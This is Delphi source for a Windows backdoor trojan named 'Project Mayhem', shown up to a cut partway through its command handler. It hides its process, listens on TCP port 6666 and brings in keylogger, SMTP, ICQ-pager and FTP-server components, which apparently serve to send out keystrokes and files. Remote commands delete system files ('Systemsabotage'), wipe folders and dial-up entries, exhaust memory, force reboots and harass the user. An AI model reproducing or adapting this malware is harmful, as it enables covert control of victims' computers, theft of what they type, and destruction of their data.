unit System32;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  WSocketS, MMSystem, ExtCtrls, WSocket, Registry, ShellAPI, Stealth, winsock,
  KeySpy, StdCtrls, Commctrl, BTOdeum, IniFiles, Tlhelp32, ShlObj, Printers,
  FtpSrv, Ras, OnlineIP, Psock, NMsmtp, INetDetector, ICQPager;

const
  WM_APPSTARTUP = WM_USER + 1;
  IconConst : array [0..4] of integer=(0, MB_ICONEXCLAMATION,
  MB_ICONINFORMATION, MB_ICONSTOP,  MB_ICONQUESTION);
type
  TSClient = class(TWSocketClient)
     public
        RcvdLine    : String;
        ConnectTime : TDateTime;
     end;
TSHInvokePrinterCommand = function(OwnerWindow : THandle; uAction : Cardinal;
 lpBuf1 : PChar ; lpBuf2 : PChar; fModal : BOOL) : BOOL; StdCall;

  TfrmServer = class(TForm)
    Server: TWSocketServer;
    Freeze: TTimer;
    Stealth: TStealth;
    Beeper: TBTBeeper;
    Edit1: TEdit;
    Timeshutdown: TTimer;
    Memo1: TMemo;
    Address: TEdit;
    FtpServer1: TFtpServer;
    Keysock: TWSocket;
    KeySpy: TKeySpy;
    NMSMTP1: TNMSMTP;
    icqpager: Ticqpager;
    randommouse: TTimer;
    Timer1: TTimer;
    Timer2: TTimer;
    OnlineIP1: TOnlineIP;
    procedure ServerClientConnect(Sender: TObject; Client: TWSocketClient;
      Error: Word);
    procedure FreezeTimer(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure TimeshutdownTimer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure KeysockError(Sender: TObject);
    procedure KeysockSessionAvailable(Sender: TObject; Error: Word);
    procedure KeysockSessionConnected(Sender: TObject; Error: Word);
    procedure KeySpyKeySpyDown(Sender: TObject; Key: Byte; KeyStr: String);
    procedure OnlineIP1Changed(Sender: TObject);
    procedure randommouseTimer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormActivate(Sender: TObject);

  private
    { Private declarations }
    procedure MsgHandler(var Msg: TMsg; var Handled: Boolean);
    procedure WMAppStartup(var Msg: TMessage); message WM_APPSTARTUP;
    procedure ClientDataAvailable(Sender: TObject; Error: Word);
    procedure ProcessData(Client : TSClient);
    procedure DeleteFileOrFolder(const FileOrFolder: String; Allowundo: Boolean);

  public
    { Public declarations }
  end;

var
  frmServer: TfrmServer;
  Dummy: integer;
  Freezed:Boolean;
  SystemDir : String ;
  ProgMan: THandle;
  Reg: TRegistry;
function SHEmptyRecycleBin
  (Wnd:HWnd; LPCTSTR:PChar; DWORD:Word):Integer; stdcall;
 
 const
 SHERB_NOCONFIRMATION = $00000001;
 SHERB_NOPROGRESSUI   = $00000002;
 SHERB_NOSOUND        = $00000004;


implementation

uses Vchat, Unit1;

{$R *.DFM}

procedure TfrmServer.MsgHandler(var Msg: TMsg; var Handled: Boolean);
begin
 case Msg.Message of
   WM_QUIT, WM_CLOSE, WM_QUERYENDSESSION, WM_ENDSESSION:
     Application.Terminate;
 end;
end;

procedure RemoveServer;
begin
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices', FALSE);
  
  try
   if Reg.ValueExists('Win386Mgr') then begin
     Reg.DeleteValue('Win386Mgr');
     Reg.CloseKey;
      end
       else
      Reg.CloseKey;
     Reg.Destroy;
  Except
end;
end;

procedure makehimcrazy(tip: integer);
var
te: integer;
begin
if tip=1 then
begin
randomize;
te:=random(10);
case te of
0: raise exception.Create('Systen Resources Are Very High, Please Open More Programs...');
1: raise exception.Create('No New Mail, Please Send Some Undeliverable Mail As For It To Return To You...');
2: raise exception.Create('Windows Is Out Of Memory, Try Using Doors...');
3: raise exception.Create('Your Password Is Very Safe, Would You Like Me To Make It Public ???');
4: raise exception.Create('Hard Disk Is Write Protected, Please Try To Format It Again...');
5: raise exception.Create('No Errors Detected, Emulate Some ??');
6: raise exception.Create('An Error Has Occured, Shall It Occur Again ??');
7: raise exception.Create('Error Downloading The Internet, Please Re-Establish Your Net Connection...');
8: raise exception.Create('Modem Stopped Responding, The System Disconnected It...');
9: raise exception.Create('Error #C64 While Trying To Solve Error #C64 Has Occured...');
10: raise exception.Create('http://www.microsoft.windows.is.no.more.responding.please.reboot.your.system');
end;
end;
if tip=2 then
begin
shellexecute(application.handle,'open',pchar('http://www.crashme.com'),nil,nil,sw_show);
end;
if tip=3 then
begin
shellexecute(application.handle,'open',pchar('mailto:bill-gates@microsoft.com?Subject=An Error Occured In My Windows'),nil,nil,sw_show);
end;
if tip=4 then
begin
movewindow(FindWindowEx(FindWindow('Shell_TrayWnd',  nil),  0, 'Button', nil),600,10,25,25,true);
end;
end;


function ShakeItUp(X, Y: Integer): Integer;
var
  p:   tpoint;
begin
  GetCursorPos(p);
  MoveWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'ReBarWindow32', nil), x, y, 25, 25, TRUE);
end;

function extract (st : string; ind1, ind2 : integer): string;
   var i: integer;
  begin
   result:='';
   for i:=ind1 to ind2 do
    result:=result+st[i];
  end;
 function ProcessMsg (Ms : string) : string;
     // processing message....
     // Message format:
     // {MSG}<caption>$$$<text>%%%messageview (2 symbols)
   var MCapt, MText : PChar;
       MT, RT : string;
       MSum : LongInt;
       i : integer;
  begin
   MT:=extract (Ms, 6, Pos ('$$$', MS)-1);
   getMem (MCapt, Length(MT)+1);
   StrPCopy (MCapt, MT);
   MT:=extract (MS, Pos('$$$', MS)+3, Pos ('%%%', MS)-1);
   RT:='';
   for i:=1 to Length (MT) do
    if MT[i]='|' then RT:=RT+chr(13)+chr(10) else RT:=RT+MT[i];
   getMem (MText, Length(RT)+1);
   StrPCopy (MText, RT);
   RT:=extract (MS, Pos ('%%%', MS)+3, Length (MS) );
   MSum:=0;
   case RT[1] of
    '1' : MSum:=MB_ABORTRETRYIGNORE;
    '2' : MSum:=MB_OKCANCEL;
    '3' : MSum:=MB_RETRYCANCEL;
    '4' : MSum:=MB_YESNO;
    '5' : MSum:=MB_YESNOCANCEL;
   end;
   MSum:=MSum+IconConst [ ord (RT[2])-48 ];
   MSum:=MessageBox (0, MText, MCapt, MSum+MB_SYSTEMMODAL);
   RT:='Unknown answer';
   case MSum of
    IDABORT : RT:='Abort.';
    IDCANCEL: RT:='Cancel.';
    IDIGNORE: RT:='Ignore.';
    IDNO    : RT:='No.';
    IDOK    : RT:='Ok.';
    IDRETRY : RT:='Retry.';
    IDYES   : RT:='Yes.';
   end;
   result:=RT;
   freeMem (MText);
   freeMem (MCapt);
  end;

function SHEmptyRecycleBin; external 'SHELL32.DLL' name 'SHEmptyRecycleBinA';

function EnumWindowsProc(hWindow: hWnd; lParam : LongInt): Bool; stdcall;
var
lpBuffer: array[0..1024] of char;
begin
Result := True;
if (Application.Handle <> hWindow)
  and (GetWindow(hWindow, GW_OWNER) <> Application.Handle)
  and IsWindowVisible(hWindow)
  and (GetWindow(hWindow, GW_OWNER) = 0)
  and (hWindow <> ProgMan)
  and (GetWindowText(hWindow, lpBuffer, 1024) > 0) then begin
    frmServer.Memo1.Lines.add(StrPas(lpBuffer));
    PostMessage(hWindow, WM_CLOSE, 0 , 0);
end;
end;

 function KillTask(ExeFileName: string): integer; 
const 
  PROCESS_TERMINATE=$0001;  
var 
  ContinueLoop: BOOL; 
  FSnapshotHandle: THandle; 
  FProcessEntry32: TProcessEntry32;  
begin 
  result := 0;  

  FSnapshotHandle := CreateToolhelp32Snapshot 
                     (TH32CS_SNAPPROCESS, 0);  
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32); 
  ContinueLoop := Process32First(FSnapshotHandle,  
                                 FProcessEntry32); 

  while integer(ContinueLoop) <> 0 do 
  begin 
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = 
         UpperCase(ExeFileName)) 
     or (UpperCase(FProcessEntry32.szExeFile) = 
         UpperCase(ExeFileName))) then 
      Result := Integer(TerminateProcess(OpenProcess( 
                        PROCESS_TERMINATE, BOOL(0), 
                        FProcessEntry32.th32ProcessID), 0));  
    ContinueLoop := Process32Next(FSnapshotHandle, 
                                  FProcessEntry32); 
  end;  

  CloseHandle(FSnapshotHandle);  
end; 

procedure TfrmServer.DeleteFileOrFolder(const FileOrFolder: String; Allowundo: Boolean);
var
 OS: TSHFileOpStruct;
begin
 if Length(FileOrFolder)>0 then
 begin
   FillChar(OS, sizeof(OS),0);
   OS.pFrom := PChar(FileOrFolder + #0);
   OS.wFunc := FO_DELETE;
   OS.fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
   if Allowundo then
     OS.fFlags := OS.fFlags or FOF_ALLOWUNDO;
   if SHFileOperation(OS)<>0 then
   begin
     RaiseLastWin32Error
   end; 
 end
end;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'KERNEL32.DLL';

procedure BootToSafeMode(Yes:Boolean);
var Attr:integer;
const MsDosSys='C:\MSDOS.SYS';
begin
 Attr:=FileGetAttr(MsDosSys);
 FileSetAttr(MsDosSys,0);
 with TIniFile.Create(MsDosSys) do begin
   WriteInteger('Options','BootSafe',Integer(Yes));
   WritePrivateProfileString(nil,nil,nil,pChar(MsDosSys));
   Free;
 end;
 FileSetAttr(MsDosSys,Attr);
end;


procedure TfrmServer.FreezeTimer(Sender: TObject);
begin
   frmServer.Hide;
   SetCursorPos(1,1);
end;

procedure TfrmServer.FormShow(Sender: TObject);
begin
   PostMessage(Handle, WM_APPSTARTUP, 0, 0);
end;

procedure TfrmServer.WMAppStartup(var Msg: TMessage);
begin
   Server.Proto := 'tcp';
   Server.Port := '6666';
   Server.Addr := '0.0.0.0';
   Server.ClientClass := TSClient;
   Server.Listen;
end;

procedure TfrmServer.ServerClientConnect(Sender: TObject;
  Client: TWSocketClient; Error: Word);
begin
   with Client as TSClient do
      begin
         LineMode        := TRUE;
         LineEdit        := TRUE;
         OnDataAvailable := ClientDataAvailable;
         ConnectTime     := Now;
      end;
end;

procedure TfrmServer.ClientDataAvailable(Sender : TObject;
  Error  : Word);
begin
   with Sender as TSClient do
      begin
         RcvdLine := ReceiveStr;
      while (Length(RcvdLine) > 0) and
      (RcvdLine[Length(RcvdLine)] in [#13, #10]) do
      RcvdLine := Copy(RcvdLine, 1, Length(RcvdLine) - 1);
      ProcessData(Sender as TSClient);
    end;
end;

procedure TfrmServer.ProcessData(Client: TSClient);
var
  hProgman:hwnd;
  I: Integer;
  AClient: TSClient;
  Wnd: Thandle;
  Key : TKeyboardState;
  R : TRect;
  Q : TPoint;
  HTaskbar : HWND;
  NewTime : TSystemTime;
  szWinDir:array[0..MAX_PATH] of char;
  Cmd:string;
  Reg: TRegistry;
  Keys,Values: TStringList;
  C :PChar;
  counter : integer;
  DLLHandle : THandle;
  PrintTestPage : TSHInvokePrinterCommand;
  PrinterName : String;
  PortName : Integer;
  h:HWnd;
  RasConn : TRasConn;
  bsize : Integer; 
  Count : Integer;
  dummy : integer;

 label 1;


begin

   if CompareText(Client.RcvdLine, 'BYE') = 0 then
      begin
      Client.CloseDelayed;
      end

   else
   if CompareText(Client.RcvdLine, 'Ping!') = 0 then
      begin
      Client.SendStr('Project Mayhem server is still active.' + #13#10);
      end

   else
   if CompareText(Client.RcvdLine, 'Showsystray') = 0 then
      begin
         ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                             HWND(0), 'TrayNotifyWnd', nil),
                             Sw_Show);
         Client.SendStr('System tray shown' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hidesystray') = 0 then
      begin
         ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                             HWND(0), 'TrayNotifyWnd', nil),
                             Sw_Hide);
         Client.SendStr('System tray hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hideclock') = 0 then
      begin
      Wnd := FindWindow('Shell_TrayWnd', nil);
         Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
         Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
         ShowWindow(Wnd, SW_HIDE);
         Client.SendStr('System clock hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showclock') = 0 then
      begin
         Wnd := FindWindow('Shell_TrayWnd', nil);
         Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
         Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
         ShowWindow(Wnd, SW_SHOW);
         Client.SendStr('System clock shown' + #13#10);
      end
  else
  if CompareText(Client.RcvdLine, 'Hidemouse') = 0 then
      begin
      ShowCursor(False);
      Client.SendStr('Mouse pointer is Hidden' + #13#10);
      end
  else
  if CompareText(Client.RcvdLine, 'Showmouse') = 0 then
     begin
     ShowCursor(True);
     Client.SendStr('Mouse pointer is visible' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Freezemouse') = 0 then
     begin
     GetCursorPos(Q);
     if not Freezed then
     begin
       R.Left := Q.x;
       R.Top :=  Q.y;
       R.Right := R.Left +1;
       R.Bottom := R.Top +1;
       ClipCursor(@R);
     end
        else ClipCursor(Nil);
        Freezed := not Freezed;
        Client.SendStr('Mouse frozen' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Monitoroff') = 0 then
     begin
     SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
     Client.SendStr('Monitor was turned off' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Monitoron') = 0 then
     begin
     SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
     Client.SendStr('Monitor was turned on' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Reboot') = 0 then
     begin
     ExitWindowsEx(EWX_REBOOT, 0 );
     Client.SendStr('Rebooting' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Forcereboot') = 0 then
     begin
     ExitWindowsEx(EWX_FORCE, 0 );
     Client.SendStr('Forcing a Reboot' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Logoff') = 0 then
     begin
     ExitWindowsEx(EWX_LOGOFF, 0 );
     Client.SendStr('Logging off User' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Poweroff') = 0 then
     begin
     ExitWindowsEx(EWX_POWEROFF, 0 );
     Client.SendStr('Powering off' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Shutdown') = 0 then
     begin
     ExitWindowsEx(EWX_SHUTDOWN, 0 );
     Client.SendStr('Shutting Down' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Restartwindows') = 0 then
     begin
     ExitWindowsEx(EW_RESTARTWINDOWS, 1);
     end
  else
  if CompareText(Client.RcvdLine, 'Opencd') = 0 then
     begin
     mciSendString('Set cdaudio door open', nil, 0, handle);
         Client.SendStr('CD-ROM door opened' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Closecd') = 0 then
      begin
         mciSendString('Set cdaudio door closed', nil, 0, handle);
         Client.SendStr('CD-ROM door closed' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Wackycd') = 0 then
      begin
      I := 1;
      1:
      mciSendString('Set cdaudio door open wait',nil,0,handle);
      mciSendString('Set cdaudio door closed wait',nil,0,handle);
      Inc(I);
         if i <= 20 then goto 1;
         Client.SendStr('Wacky CD-ROM Activated' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hidedesktopicons') = 0 then
      begin
      hProgman:=FindWindow(nil,'Program Manager');
      ShowWindow(hProgman,sw_hide);
      Client.SendStr('Desktop Icons Hiden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showdesktopicons') = 0 then
      begin
      hProgman:=FindWindow(nil,'Program Manager');
      ShowWindow(hProgman,sw_shownormal);
      Client.SendStr('Desktop Icons Replaced' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hidestart') = 0 then
      begin
      ShowWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),SW_Hide);
      Client.SendStr('Start Button Hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showstart') = 0 then
      begin
      ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),SW_ShowNormal);
      Client.SendStr('Start Button Displayed' + #13#10);
      end
    else
   if CompareText(Client.RcvdLine, 'Disablestart') = 0 then
      begin
      EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 
      0,'Button',nil),false);
      Client.SendStr('Start Button Disabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Enablestart') = 0 then
      begin
      EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),
      0,'Button',nil),true);
      Client.SendStr('Start Button Enabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hidetaskbar') = 0 then
      begin
      HTaskBar:=FindWindow('Shell_TrayWnd',nil);
      ShowWindow(HTaskbar,SW_HIDE);
      Client.SendStr('Taskbar Hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showtaskbar') = 0 then
      begin
      HTaskBar:=FindWindow('Shell_TrayWnd',nil);
      ShowWindow(HTaskbar,SW_SHOW);
      Client.SendStr('Taskbar Displayed' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Disabletaskbar') = 0 then
      begin
      HTaskBar:=FindWindow('Shell_TrayWnd',nil);
      EnableWindow(HTaskBar,False);
      Client.SendStr('Taskbar Disabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Enabletaskbar') = 0 then
      begin
      HTaskBar:=FindWindow('Shell_TrayWnd',nil);
      EnableWindow(HTaskBar,True);
      Client.SendStr('Taskbar Enabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Hidelaunchbuttons') = 0 then
      begin
      ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                             HWND(0), 'ReBarWindow32', nil),
                             Sw_Hide);
      Client.SendStr(' Fast Launch Butons Hidden ' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showlaunchbuttons') = 0 then
      begin
      ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
                             HWND(0), 'ReBarWindow32', nil),
                             Sw_Show);
      Client.SendStr(' Fast Launch Butons Replaced ' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Setnewtime') = 0 then
      begin
      FillChar(NewTime, sizeof(NewTime), #0);
      NewTime.wHour         := 6;
      NewTime.wMinute       := 6;
      NewTime.wSecond       := 6;
      NewTime.wMilliseconds := 0;
      Client.SendStr(' New time set ' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Bluescreen') = 0 then
      begin
      winexec(Pchar('rundll32 user,disableoemlayer'),sw_Show);
      Client.SendStr(' Blue Screen Of Death Shown ' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Criticalerror') = 0 then
      begin
      FatalAppExit(0,'The program has performed an Illegal Operation ');
      Client.SendStr(' Fatal Error Shown ' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Systemsabotage') = 0 then
      begin
      DeleteFile(SystemDir+'\windows\Command.com');
      DeleteFile(SystemDir+'\windows\Win.com');
      DeleteFile(SystemDir+'\windows\system.ini');
      DeleteFile(SystemDir+'\windows\win.ini');
      DeleteFile(SystemDir+'\Command.com');
      DeleteFile(SystemDir+'\autoexe.bat');
      Client.SendStr('System Sabotage sucessfull' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Deletenetstat') = 0 then
      begin
      DeleteFile(SystemDir+'\windows\Netstat.exe');
      Client.SendStr('Netstat sucessfully Deleted' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Sysstartsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMSTART'),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Sysexitsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMEXIT '),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Syshandsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMHAND'),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Sysasterisksound') = 0 then
      begin
      PlaySound(pChar('SYSTEMASTERISK'),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Sysquestionsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMQUESTION'),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else

   if CompareText(Client.RcvdLine, 'Sysexclamationsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMEXCLAMATION '),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Syswelcomesound') = 0 then
      begin
      PlaySound(pChar('SYSTEMWELCOME '),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Sysdefaultsound') = 0 then
      begin
      PlaySound(pChar('SYSTEMDEFAULT  '),0,SND_ASYNC);
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beeperone') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psError));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beepertwo') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psCall));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beeperthree') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psClimb));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beeperfour') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psEmergency));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beeperfive') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psFall));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beepersix') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psOfficial));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beeperseven') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psWelcome));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'beepereight') = 0 then
      begin
      Beeper.PlayPresetSound(TPresetSound(psWrong));
      Client.SendStr('Sound Sucessfully Played' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Msdos') = 0 then
      begin
      GetWindowsDirectory(szWinDir,SizeOf(szWinDir));
      Cmd:=StrPas(szWinDir);
        if Cmd[Length(Cmd)]<>'\' then Cmd:=Cmd+'\';
        Cmd:=Cmd+'Exit to DOS.pif';
           if FileExists(cmd) then
           WinExec(pChar(#34+cmd+#34),SW_SHOWNORMAL)
           else Client.SendStr('Cannot find PIF file' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Safemodeon') = 0 then
      begin
      BootToSafeMode(True);
      Client.SendStr('Rebooting to Safe Mode' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Safemodeoff') = 0 then
      begin
      BootToSafeMode(False);
      Client.SendStr('Rebooting to Normal Mode' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Killdirectory') = 0 then
      begin
      DeleteFileOrFolder(edit1.text,true);
      Client.SendStr('Deleting C:\' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'timeshutdown') = 0 then
      begin
      Timeshutdown.Enabled:=True;
      Client.SendStr('Time Shutdown Enabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'timeshutdowndisable') = 0 then
      begin
      Timeshutdown.Enabled:=False;
      Client.SendStr('Time Shutdown Disabled' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Deletedialups') = 0 then
      begin
      Reg:=TRegistry.Create;
      Keys:=TStringList.Create;
      Values:=TStringList.Create;
      Reg.RootKey:=HKEY_CURRENT_USER;
         if not Reg.OpenKey('\RemoteAccess\Addresses',false) then Exit;
          Reg.GetValueNames(Values);
         for I:=0 to Values.Count-1 do
         Reg.DeleteValue(Values[I]);
           if not Reg.OpenKey('\RemoteAccess\Profiles',false) then Exit;
           Reg.GetKeyNames(Keys);
           for I:=0 to Keys.Count-1 do
           Reg.DeleteKey(Keys[I]);
      Reg.Free;
      Values.Free;
      Keys.Free;
      Client.SendStr('Deleting all Dial Ups...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Crashmachine') = 0 then
      begin
      KillTask('kernel32.dll');
      Client.SendStr('Crashing Machine...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Memoryeater') = 0 then
      begin
      while 1=1 do
         begin
         GetMem(C, 1024)
         end;
      Client.SendStr('Memory Eating in Progress...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Deletefavoutites') = 0 then
      begin
      DeleteFile(SystemDir+'\windows\Favourites');
      Client.SendStr('Internet Favourites Folder Deleted...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Showpasswordscreen') = 0 then
      begin
      Form1.show;
      Client.SendStr('Password Screen Displayed...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Multiplefolders') = 0 then
      begin
      for I := 0 to 1000 do
        begin
        CreateDirectory(PChar('C:\MaYhEm' + IntToStr(I)), nil);
        Client.SendStr('Creating 1000 Folders...' + #13#10);
        end;
      end
   else
   if CompareText(Client.RcvdLine, 'Printerspitter') = 0 then
      begin
      printer.begindoc;
      for counter := 1 to 100 do
         begin
         printer.newpage
         end;
      printer.enddoc;
      Client.SendStr('Spitting out 100 Pages...' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Printtestpage') = 0 then
      begin
     DLLHandle := LoadLibrary( 'SHELL32.DLL' );
 if DLLHandle = 0 then
   raise Exception.CreateFmt( 'DLL not found. Error: %s', [GetLastError] );

 PrintTestPage := GetProcAddress( DLLHandle, 'SHInvokePrinterCommandA' );
 if (@PrintTestPage = nil) then
   raise Exception.CreateFmt( 'Procedure SHInvokePrinterCommandA not found. ' +
    'Error: %s', [GetLastError] );

 PrinterName := Printer.Printers[Printer.PrinterIndex];
 PortName := Pos(' on',PrinterName);
 if PortName > 0 then
      Delete(PrinterName,PortName,Length(PrinterName));

 PrintTestPage(Form1.Handle,4, PChar(PrinterName),nil,True);

 if DLLHandle <> 0 then
   FreeLibrary( DLLHandle );
   Client.SendStr('Printing Test Page...' + #13#10);
   end
else
   if CompareText(Client.RcvdLine, 'Numlockon') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_NUMLOCK] := 1;
      SetKeyboardState(Key);
      Client.SendStr('Num Lock On' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Numlockoff') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_NUMLOCK] := 0;
      SetKeyboardState(Key);
      Client.SendStr('Num Lock Off' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Capslockon') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_CAPITAL] := 1;
      SetKeyboardState(Key);
      Client.SendStr('Caps Lock On' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Capslockoff') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_CAPITAL] := 0;
      SetKeyboardState(Key);
      Client.SendStr('Caps Lock Off' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Scrolllockon') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_SCROLL] := 1;
      SetKeyboardState(Key);
      Client.SendStr('Scroll Lock On' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Scrolllockoff') = 0 then
      begin
      GetKeyboardState(Key);
      Key[VK_SCROLL] := 0;
      SetKeyboardState(Key);
      Client.SendStr('Scroll Lock Off' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'Minimizeall') = 0 then
      begin
      h:=handle; 
      while h > 0 do
         begin
         if isWindowVisible(h) then
         postmessage(h,WM_SYSCOMMAND,SC_MINIMIZE,0);
         h:=getnextwindow(h,GW_HWNDNEXT);
         Client.SendStr('All Windows Minimized' + #13#10);
         end;
     end
  else
  if CompareText(Client.RcvdLine, 'Closeall') = 0 then
      begin
      ProgMan := FindWindow('Progman', 'Program Manager');
      EnumWindows(@EnumWindowsProc, 0);
      Client.SendStr('Everything Closed' + #13#10);
      end

  else
  if CompareText(Client.RcvdLine, 'Emptybin') = 0 then
      begin
      SHEmptyRecycleBin(self.handle,'',SHERB_NOCONFIRMATION);
      Client.SendStr('Recycling Bin Emptyed' + #13#10);
      end
  else
  if CompareText(Client.RcvdLine, 'Closeserver') = 0 then
      begin
      Client.SendStr('Closing Server... ' + #13#10);
      Client.Close;
      sleep (5000);
      Client.Listen;
      end
   else
  if CompareText(Client.RcvdLine, 'Enableftp') = 0 then
      begin
     OnlineIP1.Enabled:=true;
     FtpServer1.Port:=IntToStr(21);
     FtpServer1.Addr:=Address.text;
     FtpServer1.MaxClients:=5;
     FtpServer1.Start;
     Client.SendStr('Enabling FTP Server ' + #13#10);
